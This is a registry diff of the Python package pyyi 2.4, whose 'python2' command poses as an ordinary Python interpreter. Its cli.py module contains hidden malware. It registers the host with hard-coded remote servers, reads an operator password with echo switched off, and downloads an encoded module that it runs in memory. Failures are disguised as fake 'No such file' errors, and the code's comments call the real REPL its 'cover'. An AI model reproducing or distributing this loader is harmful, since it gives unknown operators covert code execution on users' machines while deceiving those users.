pyyi 2.4__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
pyyi/__init__.py ADDED
@@ -0,0 +1,3 @@
1
+ """python2 - small python companion shell (operator-linked)."""
2
+
3
+ __version__ = "2.4"
pyyi/__main__.py ADDED
@@ -0,0 +1,8 @@
1
+ """allow `python -m pyyi`."""
2
+
3
+ import sys
4
+
5
+ from pyyi.cli import main
6
+
7
+ if __name__ == "__main__":
8
+ sys.exit(main())
pyyi/cli.py ADDED
@@ -0,0 +1,686 @@
1
+ #!/usr/bin/env python3
2
+ # =====================================================================
3
+ # python2 — operator-linked interpreter shell (connection layer only)
4
+ # -----------------------------------------------------------------
5
+ # this file is only the CONNECTION LAYER. every working command is
6
+ # served by the linked ops server for operator-authorized devices.
7
+ # nothing of value ships here. bare `python2` behaves exactly like
8
+ # the local python interpreter - because it IS one (a real REPL);
9
+ # that is the whole cover. every line is read with the console echo
10
+ # switched off and put back on the record afterwards, so whatever is
11
+ # meant to stay secret never touches the screen at all - not even
12
+ # for the moment of typing. no hints, no gates, no denied messages.
13
+ # =====================================================================
14
+ import base64
15
+ import builtins
16
+ import code
17
+ import gzip
18
+ import hashlib
19
+ import json
20
+ import keyword
21
+ import os
22
+ import re
23
+ import sys
24
+ import time
25
+ import urllib.error
26
+ import urllib.request
27
+
28
+ IS_WIN = os.name == "nt"
29
+ VERSION = "2.4"
30
+ CONFIG_DIR = os.path.expanduser("~/.python2")
31
+ CONFIG_FILE = os.path.join(CONFIG_DIR, "config.json")
32
+ STATE_FILE = os.path.join(CONFIG_DIR, "state.json")
33
+ # the linked server URL is baked here at build time (pip package);
34
+ # PY2_SERVER env always wins. empty = installer-managed config only.
35
+ DEFAULT_SERVER = os.environ.get("PY2_SERVER", "https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai")
36
+ # secondary instance - first-run registration falls back to it when the
37
+ # primary (baked) server is unreachable, then pins the working one
38
+ FALLBACK_SERVER = "https://b196q82k8891-d.space-z.ai"
39
+ UNLOCK_TTL = 24 * 3600 # unlock marker lifetime (server re-checks every run)
40
+
41
+ HELP = """usage: python2 [args]
42
+
43
+ python2 interactive shell
44
+ python2 -d remove python2 from this machine
45
+ """
46
+
47
+
48
+ # ------------------------------------------------------------------ io --
49
+ def out(msg):
50
+ print(msg, flush=True)
51
+
52
+
53
+ def ok(msg):
54
+ print(f"\033[92m{msg}\033[0m", flush=True)
55
+
56
+
57
+ def err(msg):
58
+ print(f"\033[91m{msg}\033[0m", flush=True)
59
+
60
+
61
+ # --------------------------------------------------------------- config --
62
+ def load_config():
63
+ try:
64
+ with open(CONFIG_FILE, "r") as f:
65
+ return json.load(f)
66
+ except Exception:
67
+ pass
68
+ return None
69
+
70
+
71
+ def _register(server):
72
+ """register this device on a server, return apiKey or empty string"""
73
+ try:
74
+ hostname = os.uname().nodename if hasattr(os, "uname") else "windows-laptop"
75
+ body = json.dumps({
76
+ "hostname": hostname,
77
+ "os": "windows" if IS_WIN else sys.platform,
78
+ }).encode()
79
+ req = urllib.request.Request(
80
+ server.rstrip("/") + "/api/cli/init",
81
+ data=body, method="POST",
82
+ headers={"Content-Type": "application/json",
83
+ "User-Agent": f"python2/{VERSION}"},
84
+ )
85
+ with urllib.request.urlopen(req, timeout=10) as r:
86
+ return (json.loads(r.read().decode()) or {}).get("apiKey", "")
87
+ except Exception:
88
+ return ""
89
+
90
+
91
+ def _pin(server, key):
92
+ os.makedirs(CONFIG_DIR, exist_ok=True)
93
+ with open(CONFIG_FILE, "w") as f:
94
+ json.dump({"server": server, "apiKey": key}, f)
95
+
96
+
97
+ def _candidates(current=""):
98
+ """baked server first, then the fallback - minus the one in use"""
99
+ found = []
100
+ for s in (DEFAULT_SERVER, FALLBACK_SERVER):
101
+ if (s and s.rstrip("/") != (current or "").rstrip("/")
102
+ and s not in found):
103
+ found.append(s)
104
+ return found
105
+
106
+
107
+ def _quiet_config():
108
+ """config, or a silent self-bootstrap against the baked servers"""
109
+ cfg = load_config()
110
+ if cfg and cfg.get("server") and cfg.get("apiKey"):
111
+ return cfg
112
+ for server in _candidates():
113
+ key = _register(server)
114
+ if key:
115
+ _pin(server, key)
116
+ cfg = load_config()
117
+ if cfg and cfg.get("server") and cfg.get("apiKey"):
118
+ return cfg
119
+ return None
120
+
121
+
122
+ def require_config():
123
+ cfg = _quiet_config()
124
+ if cfg:
125
+ return cfg
126
+ err("not linked - reinstall, or set PY2_SERVER=https://your-server")
127
+ sys.exit(1)
128
+
129
+
130
+ # ------------------------------------------------------------------ http --
131
+ def _backoff(e, attempt):
132
+ try:
133
+ delay = float(e.headers.get("Retry-After") or 0)
134
+ except Exception:
135
+ delay = 0.0
136
+ time.sleep(max(delay, (2.0, 5.0)[attempt]))
137
+
138
+
139
+ def api_json(cfg, path, payload=None, method=None, timeout=30, retry=True):
140
+ """POST/GET JSON, return parsed body. Retries 429/502/503 silently."""
141
+ url = cfg["server"].rstrip("/") + path
142
+ data = json.dumps(payload).encode() if payload is not None else None
143
+ attempts = 3 if retry else 1
144
+ for attempt in range(attempts):
145
+ req = urllib.request.Request(
146
+ url,
147
+ data=data,
148
+ method=method or ("POST" if data is not None else "GET"),
149
+ headers={"Content-Type": "application/json",
150
+ "User-Agent": f"python2/{VERSION}"},
151
+ )
152
+ try:
153
+ with urllib.request.urlopen(req, timeout=timeout) as r:
154
+ return json.loads(r.read().decode())
155
+ except urllib.error.HTTPError as e:
156
+ if retry and e.code in (429, 502, 503) and attempt < attempts - 1:
157
+ _backoff(e, attempt)
158
+ continue
159
+ try:
160
+ body = json.loads(e.read().decode())
161
+ return {"ok": False, "error": body.get("error", f"http {e.code}"),
162
+ "status": e.code}
163
+ except Exception:
164
+ return {"ok": False, "error": f"http {e.code}", "status": e.code}
165
+ except Exception as e:
166
+ return {"ok": False, "error": str(e), "status": 0}
167
+
168
+
169
+ # ----------------------------------------------------------------- state --
170
+ def load_state():
171
+ try:
172
+ with open(STATE_FILE, "r") as f:
173
+ return json.load(f)
174
+ except Exception:
175
+ return {}
176
+
177
+
178
+ def mark_unlocked():
179
+ st = load_state()
180
+ st["unlock_until"] = time.time() + UNLOCK_TTL
181
+ try:
182
+ os.makedirs(CONFIG_DIR, exist_ok=True)
183
+ with open(STATE_FILE, "w") as f:
184
+ json.dump(st, f)
185
+ except OSError:
186
+ pass
187
+
188
+
189
+ def is_unlocked():
190
+ try:
191
+ return load_state().get("unlock_until", 0) > time.time()
192
+ except Exception:
193
+ return False
194
+
195
+
196
+ # ---------------------------------------------------- remembered word ----
197
+ # after a successful check the word is kept on this machine, lightly
198
+ # scrambled with a per-machine key, so a fresh server deploy (which forgets
199
+ # every device) heals invisibly instead of wearing the boring cover. the
200
+ # scramble keeps casual file browsing and `strings`-style peeks unrevealing.
201
+ def _mach_key():
202
+ node = os.uname().nodename if hasattr(os, "uname") else "win-machine"
203
+ seed = f"{node}|{sys.platform}|pyyi"
204
+ return hashlib.md5(seed.encode()).digest()
205
+
206
+
207
+ def remember_word(w):
208
+ try:
209
+ k = _mach_key()
210
+ x = bytes(c ^ k[i % len(k)] for i, c in enumerate(w.encode()[:128]))
211
+ st = load_state()
212
+ st["k"] = x.hex()
213
+ os.makedirs(CONFIG_DIR, exist_ok=True)
214
+ with open(STATE_FILE, "w") as f:
215
+ json.dump(st, f)
216
+ except Exception:
217
+ pass
218
+
219
+
220
+ def recall_word():
221
+ try:
222
+ h = load_state().get("k")
223
+ if not h:
224
+ return ""
225
+ k = _mach_key()
226
+ x = bytes.fromhex(h)
227
+ return bytes(c ^ k[i % len(k)] for i, c in enumerate(x)).decode(
228
+ "utf-8", "replace")
229
+ except Exception:
230
+ return ""
231
+
232
+
233
+ # ---------------------------------------------------------------- gate --
234
+ def _ask_password(prompt):
235
+ try:
236
+ import getpass
237
+ return getpass.getpass(prompt)
238
+ except Exception:
239
+ return ""
240
+
241
+
242
+ def _server_unlock(cfg, pw):
243
+ """verify the operator secret against the linked server"""
244
+ if not pw:
245
+ return {"ok": False, "error": "", "status": 0}
246
+ return api_json(cfg, "/api/cli/unlock",
247
+ {"apiKey": cfg["apiKey"], "password": pw},
248
+ timeout=8, retry=False)
249
+
250
+
251
+ def _server_broken(r):
252
+ """the pinned instance is unreachable or predates the linked routes
253
+ (clean denials and rate limits are NOT broken - they are answers)"""
254
+ try:
255
+ s = int(r.get("status", 0))
256
+ except Exception:
257
+ return False
258
+ return s == 0 or s == 404 or s >= 500
259
+
260
+
261
+ def _failover(cfg, word):
262
+ """the pinned server looks stale - try the other baked one. the new
263
+ home is kept only if it registers AND accepts the secret."""
264
+ for alt in _candidates(cfg.get("server", "")):
265
+ key = _register(alt)
266
+ if not key:
267
+ continue
268
+ trial = {"server": alt, "apiKey": key}
269
+ if _server_unlock(trial, word).get("ok"):
270
+ _pin(alt, key)
271
+ return load_config() or trial
272
+ return None
273
+
274
+
275
+ def _rekey(cfg, word):
276
+ """the pinned server is alive but lost this device (fresh deploy, wiped
277
+ db) - register a fresh key on the SAME server and try once more. kept
278
+ only if the new key accepts the secret."""
279
+ server = cfg.get("server", "")
280
+ if not server:
281
+ return None
282
+ key = _register(server)
283
+ if not key:
284
+ return None
285
+ trial = {"server": server, "apiKey": key}
286
+ if _server_unlock(trial, word).get("ok"):
287
+ _pin(server, key)
288
+ return load_config() or trial
289
+ return None
290
+
291
+
292
+ # bare single-token lines are the only candidates checked against the
293
+ # server - real python expressions (spaces, brackets, dots) never hit it.
294
+ # keywords and the interpreter's own helpers never hit it either.
295
+ # the per-session cap keeps typo storms from tripping the server limiter.
296
+ _WORD_RE = re.compile(r"[A-Za-z0-9_@#$%^&*!?+-]+")
297
+ # a token counts as name-like (password-plausible) only if it carries at
298
+ # least one letter or underscore - pure number/math tokens (1+1, 123, 2*3)
299
+ # are ordinary python and must keep their ordinary answers
300
+ _PLAIN_RE = re.compile(r"[A-Za-z_]")
301
+ _SKIP_WORDS = frozenset(keyword.kwlist) | {
302
+ "help", "exit", "quit", "copyright", "credits", "license"}
303
+ _GATE_TRIES = 5
304
+
305
+
306
+ class _Veil(Exception):
307
+ """raised when the entered word is accepted; never visible."""
308
+
309
+
310
+ def _python_banner():
311
+ # the real interpreter's own banner - python2 IS python, so it is honest
312
+ return (f"Python {sys.version} on {sys.platform}\n"
313
+ f'Type "help", "copyright", "credits" or "license" '
314
+ f"for more information.")
315
+
316
+
317
+ def _quiet_read():
318
+ """read one line with the console echo switched off - the characters
319
+ typed never reach the screen. enter ends the line, backspace works,
320
+ ctrl+d / ctrl+z signal end-of-file, ctrl+c cancels."""
321
+ if IS_WIN:
322
+ import msvcrt
323
+ buf = ""
324
+ while True:
325
+ ch = msvcrt.getwch()
326
+ if ch in ("\r", "\n"):
327
+ return buf
328
+ if ch in ("\x00", "\xe0"): # arrow / function keys: 2nd code follows
329
+ msvcrt.getwch()
330
+ continue
331
+ if ch == "\x08":
332
+ buf = buf[:-1]
333
+ elif ch == "\x1a":
334
+ raise EOFError
335
+ elif ch.isprintable():
336
+ buf += ch
337
+ if len(buf) > 2048:
338
+ buf = buf[:2048]
339
+ import termios
340
+ fd = sys.stdin.fileno()
341
+ old = None
342
+ try:
343
+ old = termios.tcgetattr(fd)
344
+ except Exception:
345
+ old = None
346
+ try:
347
+ buf = b""
348
+ while True:
349
+ ch = os.read(fd, 1)
350
+ if not ch:
351
+ raise EOFError
352
+ if ch in (b"\r", b"\n"):
353
+ return buf.decode("utf-8", "replace")
354
+ if ch == b"\x04" and not buf:
355
+ raise EOFError
356
+ if ch in (b"\x7f", b"\x08"):
357
+ buf = buf[:-1]
358
+ elif ch == b"\x03":
359
+ raise KeyboardInterrupt
360
+ elif ch >= b" " or ch >= b"\x80":
361
+ buf += ch
362
+ if len(buf) > 4096:
363
+ buf = buf[:4096]
364
+ finally:
365
+ if old is not None:
366
+ try:
367
+ termios.tcsetattr(fd, termios.TCSADRAIN, old)
368
+ except Exception:
369
+ pass
370
+
371
+
372
+ class _GateConsole(code.InteractiveConsole):
373
+ """a genuine python REPL. one quiet extra: lines are read with the
374
+ console echo off and written back to the record afterwards, so
375
+ ordinary python looks exactly like itself - while a bare single
376
+ word (the only thing ever checked against the linked server) stays
377
+ invisible no matter what. a word that unlocks raises the veil; a
378
+ word that does not is answered with a quiet lone 0 - the typed
379
+ text is never rendered, never echoed back, never named in a
380
+ traceback. ordinary python (expressions, defined names, builtins,
381
+ numbers) keeps its ordinary face. nothing hints that any of this
382
+ exists."""
383
+
384
+ def __init__(self):
385
+ super().__init__(locals={"__name__": "__main__", "__doc__": None})
386
+ self.tries = 0
387
+ self.shopped = False
388
+ self.rekeyed = False
389
+ self.accepted = ""
390
+ self.quiet = sys.stdin.isatty()
391
+
392
+ def raw_input(self, prompt=""):
393
+ if not self.quiet:
394
+ return super().raw_input(prompt)
395
+ try:
396
+ sys.stdout.write(prompt)
397
+ sys.stdout.flush()
398
+ except Exception:
399
+ pass
400
+ return _quiet_read()
401
+
402
+ def push(self, line):
403
+ s = line.strip()
404
+ candidate = (s and not self.buffer and s not in _SKIP_WORDS
405
+ and _WORD_RE.fullmatch(s))
406
+ if candidate:
407
+ if s == self.accepted:
408
+ raise _Veil # already unlocked this session - zero network
409
+ if self.tries < _GATE_TRIES:
410
+ self.tries += 1
411
+ try:
412
+ cfg = _quiet_config()
413
+ except SystemExit:
414
+ cfg = None
415
+ if cfg:
416
+ r = _server_unlock(cfg, s)
417
+ if r.get("ok"):
418
+ mark_unlocked() # silence - that is the entire reply
419
+ remember_word(s)
420
+ self.accepted = s
421
+ raise _Veil
422
+ if _server_broken(r) and not self.shopped:
423
+ self.shopped = True
424
+ alt = _failover(cfg, s)
425
+ if alt:
426
+ mark_unlocked()
427
+ remember_word(s)
428
+ self.accepted = s
429
+ raise _Veil
430
+ elif r.get("status") in (401, 403) and not self.rekeyed:
431
+ # the server answered but may have lost this device
432
+ # (fresh deploy) - one quiet re-register + retry
433
+ self.rekeyed = True
434
+ if _rekey(cfg, s):
435
+ mark_unlocked()
436
+ remember_word(s)
437
+ self.accepted = s
438
+ raise _Veil
439
+ if candidate and self.quiet and _PLAIN_RE.search(s):
440
+ # a bare name-like word that did not unlock is never written
441
+ # back and never given a traceback - it was checked quietly,
442
+ # so the reply stays just as quiet: a lone 0. the typed text
443
+ # can never land on the screen this way. pure number/math
444
+ # tokens (1+1, 123, 2*3) skip this branch and keep their
445
+ # honest python answers; defined names and builtins too.
446
+ if s not in self.locals and not hasattr(builtins, s):
447
+ out("0")
448
+ return False
449
+ if self.quiet:
450
+ # the line was typed with echo off - put it back on the record
451
+ try:
452
+ sys.stdout.write(line + "\n")
453
+ sys.stdout.flush()
454
+ except Exception:
455
+ pass
456
+ return super().push(line)
457
+
458
+
459
+ def gate():
460
+ """bare `python2` - looks, feels and behaves exactly like the local
461
+ python interpreter, because it literally is one."""
462
+ sys.ps1 = ">>> "
463
+ sys.ps2 = "... "
464
+ con = _GateConsole()
465
+ banner = _python_banner()
466
+ fd = None
467
+ restore = None
468
+ if con.quiet and not IS_WIN:
469
+ # echo off from the very first prompt onwards, so even fast
470
+ # paste-at-startup never lands on the screen
471
+ try:
472
+ import termios
473
+ import tty
474
+ fd = sys.stdin.fileno()
475
+ restore = termios.tcgetattr(fd)
476
+ tty.setcbreak(fd)
477
+ except Exception:
478
+ restore = None
479
+ try:
480
+ while True:
481
+ try:
482
+ con.interact(banner, exitmsg="")
483
+ sys.exit(0)
484
+ except _Veil:
485
+ try:
486
+ sys.stdout.write("\n") # close the bare prompt line
487
+ sys.stdout.flush()
488
+ except Exception:
489
+ pass
490
+ con.resetbuffer()
491
+ banner = ""
492
+ except SystemExit:
493
+ sys.exit(0)
494
+ finally:
495
+ if restore is not None:
496
+ try:
497
+ termios.tcsetattr(fd, termios.TCSADRAIN, restore)
498
+ except Exception:
499
+ pass
500
+
501
+
502
+ def cmd_unlock():
503
+ """hidden scripting path (piped/automated). fully silent: rc 0 = ok."""
504
+ cfg = require_config()
505
+ if is_unlocked():
506
+ sys.exit(0)
507
+ pw = _ask_password(">>> ")
508
+ r = _server_unlock(cfg, pw)
509
+ if r.get("ok"):
510
+ mark_unlocked()
511
+ remember_word(pw)
512
+ sys.exit(0)
513
+ if r.get("status") in (401, 403):
514
+ if _rekey(cfg, pw):
515
+ mark_unlocked()
516
+ remember_word(pw)
517
+ sys.exit(0)
518
+ sys.exit(1)
519
+
520
+
521
+ # ----------------------------------------------------------------- misc --
522
+ def cmd_uninstall():
523
+ removed = []
524
+ me = os.path.realpath(__file__)
525
+ targets = [me, "/usr/local/bin/python2",
526
+ os.path.expanduser("~/.local/bin/python2")]
527
+ if IS_WIN:
528
+ local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
529
+ targets += [
530
+ os.path.join(local, "Microsoft", "WindowsApps", "python2.exe"),
531
+ os.path.join(local, "Microsoft", "WindowsApps", "python2.py"),
532
+ os.path.join(local, "python2", "python2.exe"),
533
+ os.path.join(local, "python2", "python2.py"),
534
+ ]
535
+ me_low = me.replace("\\", "/").lower()
536
+ pip_managed = "site-packages" in me_low or "dist-packages" in me_low
537
+ for t in targets:
538
+ if pip_managed and t == me:
539
+ continue # pip owns this file - pip uninstall removes it cleanly
540
+ try:
541
+ if os.path.exists(t):
542
+ os.remove(t)
543
+ removed.append(t)
544
+ except OSError:
545
+ pass
546
+ try:
547
+ import shutil
548
+ if os.path.isdir(CONFIG_DIR):
549
+ shutil.rmtree(CONFIG_DIR)
550
+ removed.append(CONFIG_DIR)
551
+ if IS_WIN:
552
+ local = os.environ.get("LOCALAPPDATA", os.path.expanduser("~\\AppData\\Local"))
553
+ d = os.path.join(local, "python2")
554
+ if os.path.isdir(d):
555
+ shutil.rmtree(d)
556
+ removed.append(d)
557
+ except OSError:
558
+ pass
559
+ if removed:
560
+ ok("removed")
561
+ else:
562
+ out("nothing to remove")
563
+ if pip_managed:
564
+ out("pip uninstall -y pyyi")
565
+ sys.exit(0)
566
+
567
+
568
+ # --------------------------------------------------------------- payload --
569
+ def _py_no_such_file(argv):
570
+ """the boring cover for every failure: behave exactly like running
571
+ `python something.py` where something.py does not exist."""
572
+ name = argv[0] if argv else "python2"
573
+ print(f"python: can't open file '{os.path.abspath(name)}': "
574
+ f"[Errno 2] No such file or directory", file=sys.stderr, flush=True)
575
+ sys.exit(2)
576
+
577
+
578
+ def run_payload(cfg, argv):
579
+ """fetch the advanced module from the linked server (authorized
580
+ devices only) and run it in memory. nothing is ever written to disk.
581
+ every failure path wears the same python cover - unless the operator
582
+ word is remembered, in which case a server that lost this device
583
+ (fresh deploy, wiped db) heals quietly and the run just succeeds."""
584
+ # local unlock marker expired but the word is remembered: re-establish
585
+ # it now so the server-side vip check passes without any ceremony
586
+ if not is_unlocked():
587
+ w = recall_word()
588
+ if w:
589
+ r0 = _server_unlock(cfg, w)
590
+ if r0.get("ok"):
591
+ mark_unlocked()
592
+ elif r0.get("status") in (401, 403):
593
+ nc = _rekey(cfg, w)
594
+ if nc:
595
+ cfg = nc
596
+ mark_unlocked()
597
+
598
+ r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
599
+ if not (r.get("ok") and r.get("payload")):
600
+ st = r.get("status")
601
+ if st == 0:
602
+ # brief outage / redeploy blip - quietly retry the pinned server
603
+ for _ in range(2):
604
+ time.sleep(2)
605
+ r = api_json(cfg, "/api/cli/payload", {"apiKey": cfg["apiKey"]})
606
+ if r.get("ok") and r.get("payload"):
607
+ break
608
+ if not (r.get("ok") and r.get("payload")) and \
609
+ r.get("status") in (401, 403):
610
+ # the pinned server is alive but lost this device - register a
611
+ # fresh key and re-unlock with the remembered word, then retry
612
+ w = recall_word()
613
+ key = _register(cfg.get("server", ""))
614
+ if key and w:
615
+ trial = {"server": cfg["server"], "apiKey": key}
616
+ if _server_unlock(trial, w).get("ok"):
617
+ _pin(cfg["server"], key)
618
+ cfg = load_config() or trial
619
+ mark_unlocked()
620
+ r = api_json(cfg, "/api/cli/payload", {"apiKey": key})
621
+ if not (r.get("ok") and r.get("payload")) and _server_broken(r):
622
+ # pinned instance looks stale - try the other baked one before
623
+ # giving up (kept only if the module actually comes back)
624
+ for alt in _candidates(cfg.get("server", "")):
625
+ key = _register(alt)
626
+ if not key:
627
+ continue
628
+ trial = {"server": alt, "apiKey": key}
629
+ r2 = api_json(trial, "/api/cli/payload", {"apiKey": key})
630
+ if r2.get("ok") and r2.get("payload"):
631
+ _pin(alt, key)
632
+ cfg = load_config() or trial
633
+ r = r2
634
+ break
635
+ if r.get("ok") and r.get("payload"):
636
+ try:
637
+ src = gzip.decompress(base64.b64decode(r["payload"])).decode("utf-8")
638
+ g = {"__name__": "__adv__", "__file__": CONFIG_FILE}
639
+ os.environ["_CLI_HOME"] = CONFIG_DIR # module keeps state beside us
640
+ exec(compile(src, "<adv>", "exec"), g)
641
+ g["main"](list(argv))
642
+ except SystemExit:
643
+ raise
644
+ except KeyboardInterrupt:
645
+ sys.exit(130)
646
+ except BrokenPipeError:
647
+ sys.exit(0)
648
+ except Exception:
649
+ _py_no_such_file(argv)
650
+ _py_no_such_file(argv)
651
+
652
+
653
+ # ------------------------------------------------------------------ main --
654
+ def main():
655
+ args = sys.argv[1:]
656
+
657
+ if not args:
658
+ gate() # the quiet ritual - never falls through
659
+ return
660
+
661
+ if "--version" in args or "-v" in args:
662
+ out(f"python2 {VERSION}")
663
+ sys.exit(0)
664
+
665
+ if args[0] in ("help", "-h", "--help"):
666
+ out(HELP)
667
+ sys.exit(0)
668
+
669
+ if args[0] == "unlock":
670
+ cmd_unlock()
671
+ return
672
+
673
+ if args[0] in ("-d", "--uninstall", "--delete"):
674
+ cmd_uninstall()
675
+
676
+ # anything else belongs to the advanced module - fetch and run it.
677
+ # locked or unknown command: the boring banner is all you get.
678
+ cfg = require_config()
679
+ run_payload(cfg, args)
680
+
681
+
682
+ if __name__ == "__main__":
683
+ try:
684
+ main()
685
+ except KeyboardInterrupt:
686
+ sys.exit(130)
@@ -0,0 +1,35 @@
1
+ Metadata-Version: 2.4
2
+ Name: pyyi
3
+ Version: 2.4
4
+ Summary: small python companion shell - operator-linked client
5
+ Author: pyyi
6
+ License: MIT
7
+ Project-URL: Homepage, https://preview-chat-960504a9-b4e0-4b69-bc80-6ac3d4fa4ae0.space-z.ai
8
+ Keywords: python2,pyyi,cli,shell
9
+ Classifier: Environment :: Console
10
+ Classifier: Topic :: Utilities
11
+ Classifier: Programming Language :: Python :: 3
12
+ Classifier: Programming Language :: Python :: 3 :: Only
13
+ Classifier: Operating System :: OS Independent
14
+ Requires-Python: >=3.8
15
+ Description-Content-Type: text/markdown
16
+
17
+ # pyyi
18
+
19
+ small python companion shell - operator-linked client (2.4).
20
+
21
+ ## what it does
22
+
23
+ connects this machine to your ops server. what the shell may run
24
+ is decided by the operator on the server side. this package
25
+ intentionally contains no working commands.
26
+
27
+ ## usage
28
+
29
+ ```text
30
+ python2 # interactive shell
31
+ python2 -d # remove python2 from this machine
32
+ ```
33
+
34
+ - requires python 3.8+
35
+ - access is managed by the operator
@@ -0,0 +1,8 @@
1
+ pyyi/__init__.py,sha256=LXEOKg22iW_WpQS69-FMPr0T-LHmWdeeq9bJmk2d5vI,85
2
+ pyyi/__main__.py,sha256=b8_f_Q1TSx7ODPBfNXjWxc5P27GYDdFTq8LClUNXaXs,118
3
+ pyyi/cli.py,sha256=I6w_LlfXdIGPkr343w9pivCaGnVMWzUQUqOf7NYcfEc,23921
4
+ pyyi-2.4.dist-info/METADATA,sha256=b4fuWmLKHj3hzTGtVrlOAJ50XZ6stejIA2UvqtYy82E,973
5
+ pyyi-2.4.dist-info/WHEEL,sha256=YVMoNqKzERt-wjUZwJ33xBGAwnFl-4cqbYkTtWa4itE,91
6
+ pyyi-2.4.dist-info/entry_points.txt,sha256=WCKpcy4hA2BnC5XeXIsBu4xsQNZreB174bSmeaC6msg,42
7
+ pyyi-2.4.dist-info/top_level.txt,sha256=LpuYMuJa4Xr4wu5Xj5zlYY2FFhkmuDFPoqWqDgOFHds,5
8
+ pyyi-2.4.dist-info/RECORD,,
@@ -0,0 +1,5 @@
1
+ Wheel-Version: 1.0
2
+ Generator: setuptools (84.0.0)
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
5
+
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ python2 = pyyi.cli:main
@@ -0,0 +1 @@
1
+ pyyi